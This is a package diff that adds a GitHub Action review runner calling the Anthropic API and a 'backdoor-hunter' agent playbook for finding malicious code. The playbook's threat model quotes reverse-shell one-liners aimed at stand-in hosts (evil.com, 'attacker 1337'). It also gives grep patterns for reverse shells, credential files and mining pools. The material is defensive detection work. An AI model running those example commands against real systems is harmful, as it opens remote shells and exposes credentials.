kodelyth-ecc 1.5.9 → 1.7.0

package/actions/ecc-review/run-review.js

@@ -0,0 +1,285 @@
+#!/usr/bin/env node
+// Kodelyth ECC — GitHub Action review runner
+// Reads a PR diff + selected agents and produces a JSON findings report.
+//
+// Env contract:
+//   ANTHROPIC_API_KEY  Anthropic API key (required for live model call; if absent, runs in dry-mode)
+//   ECC_BUNDLE         indie-hacker | red-team | enterprise
+//   ECC_AGENTS         comma-separated agent names (overrides bundle if set)
+//   ECC_MODEL          Anthropic model id
+//   ECC_MAX_FILES      max changed files per run
+//   ECC_BASE_SHA       PR base
+//   ECC_HEAD_SHA       PR head
+//
+// Outputs (set via $GITHUB_OUTPUT):
+//   critical-count, high-count, medium-count, report-path
+
+'use strict';
+
+const fs = require('fs');
+const os = require('os');
+const path = require('path');
+const { execSync } = require('child_process');
+const https = require('https');
+
+const HOME = os.homedir();
+const ECC_HOME = path.join(HOME, '.claude');
+const AGENTS_DIR = path.join(ECC_HOME, 'agents');
+const REPORT_PATH = path.join(os.tmpdir(), `ecc-review-${Date.now()}.json`);
+
+// ── Bundle → agent mapping ──────────────────────────────────────────────────
+const BUNDLE_AGENTS = {
+  'indie-hacker': ['security-reviewer', 'code-reviewer', 'ux-reviewer', 'dependency-doctor'],
+  'red-team': ['prompt-injection-hunter', 'supply-chain-auditor', 'secret-hunter', 'backdoor-hunter'],
+  'enterprise': ['code-reviewer', 'security-reviewer', 'license-violation-finder', 'supply-chain-auditor', 'api-guardian'],
+};
+
+const bundle = (process.env.ECC_BUNDLE || 'red-team').trim();
+const agentsOverride = (process.env.ECC_AGENTS || '').split(',').map(s => s.trim()).filter(Boolean);
+const selectedAgents = agentsOverride.length > 0
+  ? agentsOverride
+  : (BUNDLE_AGENTS[bundle] || BUNDLE_AGENTS['red-team']);
+
+const model = process.env.ECC_MODEL || 'claude-sonnet-4-5-20250929';
+const maxFiles = parseInt(process.env.ECC_MAX_FILES || '20', 10);
+const apiKey = process.env.ANTHROPIC_API_KEY || '';
+
+// ── Setup output writer (GitHub Actions $GITHUB_OUTPUT) ─────────────────────
+function setOutput(key, value) {
+  if (process.env.GITHUB_OUTPUT) {
+    fs.appendFileSync(process.env.GITHUB_OUTPUT, `${key}=${value}\n`);
+  }
+  console.log(`::set-output name=${key}::${value}`);
+}
+
+function logGroup(label, fn) {
+  console.log(`::group::${label}`);
+  try {
+    return fn();
+  } finally {
+    console.log('::endgroup::');
+  }
+}
+
+// ── Read changed files from /tmp/ecc-changed-files.txt ──────────────────────
+function readChangedFiles() {
+  const listPath = '/tmp/ecc-changed-files.txt';
+  if (!fs.existsSync(listPath)) {
+    console.log('::warning::No changed-files list found. Skipping review.');
+    return [];
+  }
+  return fs.readFileSync(listPath, 'utf8')
+    .split('\n')
+    .map(s => s.trim())
+    .filter(Boolean)
+    .filter(f => fs.existsSync(f))
+    .filter(f => {
+      const ext = path.extname(f).toLowerCase();
+      // Skip binary / vendor / large generated files
+      if (['.png', '.jpg', '.gif', '.pdf', '.zip', '.tgz', '.lock'].includes(ext)) return false;
+      if (f.startsWith('node_modules/') || f.includes('/.git/')) return false;
+      return true;
+    })
+    .slice(0, maxFiles);
+}
+
+// ── Read agent playbook ─────────────────────────────────────────────────────
+function readAgent(name) {
+  const p = path.join(AGENTS_DIR, `${name}.md`);
+  if (!fs.existsSync(p)) {
+    console.log(`::warning::Agent file not found: ${p}`);
+    return null;
+  }
+  return fs.readFileSync(p, 'utf8');
+}
+
+// ── Read file content with size cap ─────────────────────────────────────────
+function readFileSafe(filePath, maxBytes = 20000) {
+  try {
+    const content = fs.readFileSync(filePath, 'utf8');
+    if (content.length > maxBytes) {
+      return content.slice(0, maxBytes) + '\n\n[...truncated, file exceeds 20KB...]';
+    }
+    return content;
+  } catch (err) {
+    return `[unreadable: ${err.message}]`;
+  }
+}
+
+// ── Build the review prompt ─────────────────────────────────────────────────
+function buildPrompt(agentName, agentMarkdown, files) {
+  const fileBlock = files.map(f => {
+    const content = readFileSafe(f);
+    return `### File: ${f}\n\n\`\`\`\n${content}\n\`\`\``;
+  }).join('\n\n---\n\n');
+
+  return `You are the **${agentName}** specialist. Your full playbook follows. Apply it to the changed files below and emit findings.
+
+---
+
+## YOUR PLAYBOOK
+
+${agentMarkdown}
+
+---
+
+## CHANGED FILES IN THIS PULL REQUEST
+
+${fileBlock}
+
+---
+
+## YOUR TASK
+
+Review the changed files above using your playbook. Emit a JSON object with this exact shape (no commentary, no markdown fences, just the JSON):
+
+\`\`\`json
+{
+  "agent": "${agentName}",
+  "findings": [
+    {
+      "severity": "critical" | "high" | "medium" | "low",
+      "file": "path/to/file",
+      "line": 42,
+      "category": "short category name",
+      "title": "one-line summary",
+      "description": "what's wrong, why it matters",
+      "evidence": "exact code or pattern proving the finding",
+      "fix": "concrete fix recommendation"
+    }
+  ],
+  "summary": "one-paragraph overall assessment"
+}
+\`\`\`
+
+If you find nothing, emit \`{"agent":"${agentName}","findings":[],"summary":"..."}\`. Be concrete — no findings without evidence.`;
+}
+
+// ── Call Anthropic API ──────────────────────────────────────────────────────
+function callAnthropic(prompt) {
+  return new Promise((resolve, reject) => {
+    if (!apiKey) {
+      // Dry-mode: emit a stub so the action still runs end-to-end without a key
+      return resolve({
+        agent: 'dry-mode',
+        findings: [],
+        summary: 'No ANTHROPIC_API_KEY set — review skipped. Set the api-key input or ANTHROPIC_API_KEY secret to enable.'
+      });
+    }
+    const body = JSON.stringify({
+      model: model,
+      max_tokens: 4096,
+      messages: [{ role: 'user', content: prompt }],
+    });
+    const req = https.request({
+      hostname: 'api.anthropic.com',
+      port: 443,
+      path: '/v1/messages',
+      method: 'POST',
+      headers: {
+        'Content-Type': 'application/json',
+        'x-api-key': apiKey,
+        'anthropic-version': '2023-06-01',
+        'Content-Length': Buffer.byteLength(body),
+      },
+    }, (res) => {
+      let chunks = '';
+      res.on('data', c => chunks += c);
+      res.on('end', () => {
+        try {
+          const parsed = JSON.parse(chunks);
+          if (parsed.error) return reject(new Error(`Anthropic API error: ${parsed.error.message}`));
+          const text = parsed.content?.[0]?.text || '';
+          // Strip markdown fences if present
+          const jsonMatch = text.match(/\{[\s\S]*\}/);
+          if (!jsonMatch) {
+            return resolve({ agent: 'parse-error', findings: [], summary: `Could not parse model output: ${text.slice(0, 200)}` });
+          }
+          resolve(JSON.parse(jsonMatch[0]));
+        } catch (err) {
+          reject(err);
+        }
+      });
+    });
+    req.on('error', reject);
+    req.write(body);
+    req.end();
+  });
+}
+
+// ── Main ────────────────────────────────────────────────────────────────────
+async function main() {
+  const files = logGroup('Read changed files', readChangedFiles);
+  if (files.length === 0) {
+    console.log('::notice::No reviewable files changed. Skipping ECC review.');
+    setOutput('critical-count', '0');
+    setOutput('high-count', '0');
+    setOutput('medium-count', '0');
+    setOutput('report-path', '');
+    return;
+  }
+
+  console.log(`::notice::Reviewing ${files.length} files with agents: ${selectedAgents.join(', ')} (bundle=${bundle}, model=${model})`);
+
+  const allFindings = [];
+  const agentSummaries = [];
+
+  for (const agentName of selectedAgents) {
+    const playbook = readAgent(agentName);
+    if (!playbook) continue;
+    const prompt = buildPrompt(agentName, playbook, files);
+
+    let result;
+    try {
+      console.log(`::group::Run agent: ${agentName}`);
+      result = await callAnthropic(prompt);
+      console.log(`::endgroup::`);
+    } catch (err) {
+      console.log(`::warning::Agent ${agentName} failed: ${err.message}`);
+      console.log(`::endgroup::`);
+      continue;
+    }
+
+    if (Array.isArray(result.findings)) {
+      result.findings.forEach(f => allFindings.push({ ...f, agent: agentName }));
+    }
+    if (result.summary) {
+      agentSummaries.push({ agent: agentName, summary: result.summary });
+    }
+  }
+
+  // Tally severities
+  const counts = { critical: 0, high: 0, medium: 0, low: 0 };
+  for (const f of allFindings) {
+    const sev = (f.severity || '').toLowerCase();
+    if (counts[sev] != null) counts[sev]++;
+  }
+
+  // Write report
+  const report = {
+    bundle,
+    agents: selectedAgents,
+    model,
+    files_reviewed: files,
+    counts,
+    findings: allFindings,
+    agent_summaries: agentSummaries,
+    base_sha: process.env.ECC_BASE_SHA || '',
+    head_sha: process.env.ECC_HEAD_SHA || '',
+    generated_at: new Date().toISOString(),
+  };
+  fs.writeFileSync(REPORT_PATH, JSON.stringify(report, null, 2));
+  console.log(`::notice::Report written: ${REPORT_PATH}`);
+  console.log(`::notice::Findings: ${counts.critical} CRITICAL, ${counts.high} HIGH, ${counts.medium} MEDIUM, ${counts.low} LOW`);
+
+  setOutput('critical-count', String(counts.critical));
+  setOutput('high-count', String(counts.high));
+  setOutput('medium-count', String(counts.medium));
+  setOutput('report-path', REPORT_PATH);
+}
+
+main().catch(err => {
+  console.error(`::error::ECC review crashed: ${err.message}`);
+  console.error(err.stack);
+  process.exit(2);
+});

package/agents/backdoor-hunter.md

@@ -0,0 +1,260 @@
+---
+name: backdoor-hunter
+description: Adversarial backdoor and malicious-code detector. Use when reviewing third-party code, vendored libraries, contractor PRs, dependency updates, or after any compromise alert. Hunts obfuscated payloads, hidden network beacons, time bombs, and unauthorized eval/exec patterns.
+tools: ["Read", "Bash", "Grep", "Glob"]
+model: sonnet
+---
+
+# Backdoor Hunter
+
+You are an adversarial code auditor specifically tuned to find malicious payloads hidden in otherwise normal code. While `supply-chain-auditor` evaluates dependencies as units, you read individual files looking for the kind of code an attacker would write to maintain persistence.
+
+## Threat Model — what attackers actually do
+
+Real backdoor patterns from recent CVEs and incidents:
+
+1. **Obfuscated execution** — `eval(atob(...))`, `Function(decoded)()`, `_0x...` minified blobs hiding malicious logic
+2. **Network beacons** — periodic "phone home" calls to attacker domains
+3. **Time bombs** — code that activates after a date or specific runtime condition
+4. **Environment-triggered logic** — only runs in CI / production / specific country (xz utils CVE-2024-3094 pattern)
+5. **Reverse shells** — `bash -c $(curl evil.com/sh)`, `nc -e /bin/sh attacker 1337`
+6. **Credential exfiltration** — silently uploads `.env`, `.aws/credentials`, SSH keys
+7. **Build-time injection** — postinstall scripts modifying source after install
+8. **Webshells** — endpoints that execute arbitrary code on POST `/admin/{secret}`
+9. **Auth bypass via magic header** — `if (req.headers['x-bypass'] === 'attacker_signature')`
+10. **Dynamic require/import** — `require(decryptedString)` to load malicious modules at runtime
+11. **Process injection** — overwriting `node_modules` files at runtime
+12. **Cryptominer** — silent CPU-burning code spawning hidden workers
+13. **Telemetry exfiltration** — sends repo path, env vars, hostname, user data to "analytics"
+
+## Hunt Workflow
+
+### 1. Obfuscation hunt
+
+```bash
+# eval and friends — ANY occurrence is a yellow flag, paired with decoding is red
+grep -rEn "(\beval\(|new Function\(|setTimeout\([\"'])" --include="*.js" --include="*.ts" --exclude-dir=node_modules .
+
+# Common decoder patterns
+grep -rEn "atob\(['\"][A-Za-z0-9+/]{50,}" --include="*.js" .  # base64 decode of large blob
+grep -rEn "Buffer\.from\([\"'][A-Za-z0-9+/]{50,}.*['\"]['\"]base64['\"]" --include="*.js" .
+grep -rEn "_0x[a-f0-9]+" --include="*.js" . | head -20  # minified obfuscation pattern
+
+# String concatenation hiding a command
+grep -rEn "['\"]e['\"][[:space:]]*\+[[:space:]]*['\"]val['\"]" --include="*.js" .
+
+# Hex/octal-encoded function names
+grep -rEn "\\\\x[0-9a-f]{2}\\\\x[0-9a-f]{2}" --include="*.js" .
+```
+
+### 2. Network beacon hunt
+
+```bash
+# Outbound HTTP from unexpected places
+grep -rEn "(fetch|axios|http\.get|got|request|curl)" --include="*.js" --exclude-dir=node_modules . | \
+  grep -vE "(localhost|127\.0\.0\.1|api\.yourcompany\.com|github\.com|registry\.npmjs)"
+
+# DNS lookups (sometimes used for stealth exfiltration)
+grep -rEn "dns\.(lookup|resolve)" --include="*.js" . 
+
+# WebSocket connections
+grep -rEn "new WebSocket\(['\"]ws" --include="*.js" .
+
+# Suspicious URLs
+grep -rEnH "https?://[^\"' ]*" --include="*.js" . | \
+  grep -vE "(github|google|cloudflare|aws|stripe|sentry|datadog|company-domain)"
+```
+
+For each suspicious URL, check:
+- Is it on a domain reputation list? (VirusTotal, AbuseIPDB)
+- Is it a Discord webhook (common for low-effort exfiltration)?
+- Is it a Pastebin / paste.ee / requestbin (dump targets)?
+- Is the domain newly registered (<90 days)?
+
+### 3. Time bomb / conditional hunt
+
+```bash
+# Date checks (xz utils pattern)
+grep -rEn "(Date\.now\(\)|new Date\(\))" --include="*.js" --exclude-dir=node_modules . | \
+  grep -E "(>|<|>=|<=)\s*[0-9]{10,13}"  # comparing to unix timestamp
+
+# Country / locale gates
+grep -rEn "(Intl\.|navigator\.language|process\.env\.LANG)" --include="*.js" . | head
+
+# CI-only code paths
+grep -rEn "process\.env\.(CI|GITHUB_ACTIONS|CIRCLECI|JENKINS)" --include="*.js" --exclude-dir=node_modules . | head
+
+# Production-only "features"
+grep -rEn "process\.env\.NODE_ENV\s*===\s*['\"]production" --include="*.js" --exclude-dir=node_modules . | head -50
+
+# IP-based gates (geofencing payload)
+grep -rEn "(IP|ip)\.startsWith|ipaddress|geoip" --include="*.js" .
+
+# Specific user / account / hostname triggers
+grep -rEn "(os\.hostname|os\.userInfo|process\.env\.USER)" --include="*.js" .
+```
+
+### 4. Reverse shell / command execution hunt
+
+```bash
+# child_process.exec / spawn with user-controlled or fetched input
+grep -rEn "(exec|spawn|execSync|spawnSync)\s*\(" --include="*.js" --exclude-dir=node_modules .
+
+# Direct shell escapes
+grep -rEn "['\"](bash|sh|cmd|powershell|cmd\.exe)['\"]" --include="*.js" .
+
+# Curl-pipe-bash patterns in scripts
+grep -rEn "curl[^|]*\|[^|]*(bash|sh)" --include="*.sh" --include="*.js" .
+grep -rEn "wget[^|]*\|[^|]*(bash|sh)" --include="*.sh" --include="*.js" .
+
+# Reverse shell signatures
+grep -rEn "(\bnc \-e|/dev/tcp/|/dev/udp/|bash -i >& /dev/tcp)" .
+```
+
+### 5. Credential exfiltration hunt
+
+```bash
+# Reading sensitive files
+grep -rEn "(\\.env|\\.aws/credentials|\\.ssh/id_|/etc/shadow|\\.kube/config)" --include="*.js" --include="*.py" --exclude-dir=node_modules .
+
+# Reading and POSTing — combo signal
+grep -rEnB2 -A4 "fs\.readFile" --include="*.js" --exclude-dir=node_modules . | \
+  grep -B5 "fetch\|axios\|http\." 
+
+# Suspicious env iteration  
+grep -rEn "Object\.(keys|entries)\(process\.env\)" --include="*.js" --exclude-dir=node_modules . | head
+```
+
+### 6. Build-time injection hunt
+
+```bash
+# postinstall, preinstall scripts in installed packages
+find node_modules -name package.json -exec jq -r 'select(.scripts.postinstall or .scripts.preinstall) | .name + ": " + (.scripts | tostring)' {} \; 2>/dev/null
+
+# scripts that download anything
+grep -rEn "(curl|wget|fetch|axios)" node_modules/*/package.json 2>/dev/null
+```
+
+### 7. Webshell hunt
+
+```bash
+# Endpoints that exec arbitrary input
+grep -rEnB2 -A5 "(req\.body\.|req\.query\.|req\.params\.)" --include="*.js" . | \
+  grep -B5 -E "(exec|eval|spawn|require)\s*\("
+
+# Magic auth bypass
+grep -rEn "headers\[['\"]x-" --include="*.js" --include="*.ts" . | head
+
+# Unprotected admin endpoints
+grep -rEn "(app|router)\.(get|post)\(['\"]/admin" --include="*.js" .
+```
+
+### 8. Dynamic loading hunt
+
+```bash
+# require() with non-literal argument
+grep -rEn "require\s*\([^'\"]" --include="*.js" --exclude-dir=node_modules .
+
+# import() with non-literal
+grep -rEn "import\s*\([^'\"]" --include="*.js" --include="*.ts" --exclude-dir=node_modules .
+
+# Modules loaded from filesystem path that's user-controllable
+grep -rEnB3 -A1 "require\(.*\\\\+\\.*\)" --include="*.js" .
+```
+
+### 9. Cryptominer hunt
+
+```bash
+# Worker spawning with high concurrency
+grep -rEn "(new Worker|cluster\.fork|child_process\.fork)" --include="*.js" --exclude-dir=node_modules .
+
+# Suspicious crypto/hashing in unexpected places
+grep -rEn "(crypto\.subtle|sha256.*loop|Buffer.alloc\(1024\*1024\))" --include="*.js" --exclude-dir=node_modules .
+
+# Mining pool URLs
+grep -rEn "(stratum\+tcp://|nicehash|minexmr|cryptonight)" .
+```
+
+### 10. Telemetry exfiltration hunt
+
+```bash
+# Any "analytics" or "telemetry" that ECC explicitly forbids
+grep -rEn "(analytics|telemetry|tracking|posthog|mixpanel|segment)" --include="*.js" --exclude-dir=node_modules .
+
+# Gathering metadata about the host
+grep -rEn "(os\.cpus|os\.networkInterfaces|os\.userInfo)" --include="*.js" --exclude-dir=node_modules .
+```
+
+### 11. Triage suspicious findings
+
+For every red flag, answer:
+
+1. **Is this the first commit it appeared in?** `git log -p -S "<suspicious line>"` 
+2. **Who introduced it?** Author, date, PR
+3. **Is the explanation legitimate?** Real feature vs hidden payload
+4. **Does it run in production?** Or only in dev/test (lower urgency)
+5. **What does it actually do?** Manually decode, trace data flow, run in sandbox
+
+### 12. Report
+
+```
+## BACKDOOR HUNT REPORT
+
+### Scan Coverage
+Files scanned: N
+Lines of code: N
+Patterns checked: 12 categories
+
+### Confirmed Threats
+[severity] [file:line] [pattern] [decoded behavior] [recommended action]
+
+### Suspicious Patterns (need manual review)
+[severity] [file:line] [pattern] [why suspicious]
+
+### Triage Notes
+[per finding: introduced by, when, runs where, decoded action]
+
+### Hardening Recommendations
+1. [first action — usually: revert / quarantine / rotate]
+2. ...
+```
+
+## Severity Calibration
+
+| Finding | Severity |
+|---|---|
+| Confirmed reverse shell or RCE webshell | CRITICAL |
+| Confirmed credential exfiltration to attacker host | CRITICAL |
+| Obfuscated eval(decoded blob) decoding to network call | CRITICAL |
+| Time-bomb code (date-gated payload) | CRITICAL |
+| Cryptominer worker | HIGH |
+| Magic header auth bypass | HIGH |
+| Dynamic require with non-literal | HIGH |
+| Unexplained network call from build script | HIGH |
+| eval/Function() with literal string (probably safe but smell) | MEDIUM |
+| Telemetry library you didn't add | MEDIUM |
+
+## Response Playbook
+
+For any CRITICAL finding:
+
+1. **Quarantine first** — `git revert` the commit, take affected service offline
+2. **Preserve evidence** — copy the file before reverting; keep git history intact
+3. **Rotate everything** — assume secrets in env / credentials store / DB are compromised
+4. **Scope the blast radius** — when did the backdoor land? What ran since?
+5. **Notify** — security team, then potentially users (depending on jurisdiction GDPR/etc.)
+6. **Audit downstream** — if you ship a library, downstream users are now at risk
+
+## When to Run
+
+**ALWAYS:** After every dependency update, on every PR from a new contributor, before publishing your own packages, after any "weird build behavior" report.
+
+**IMMEDIATELY:** Compromise alert from CISA / NIST / a vendor security advisory, suspicious activity in CI logs, after onboarding code from contractor / acquisition.
+
+## Reference
+
+See `supply-chain-auditor` for the dep-level audit. See `secret-hunter` for credential leaks. See `prompt-injection-hunter` for the AI-feature side.
+
+---
+
+**Remember:** A backdoor's job is to look normal. The person who put it there expected to be reviewed by a tired engineer at end-of-PR-day, not by you. Read everything as if it's malicious until proven benign.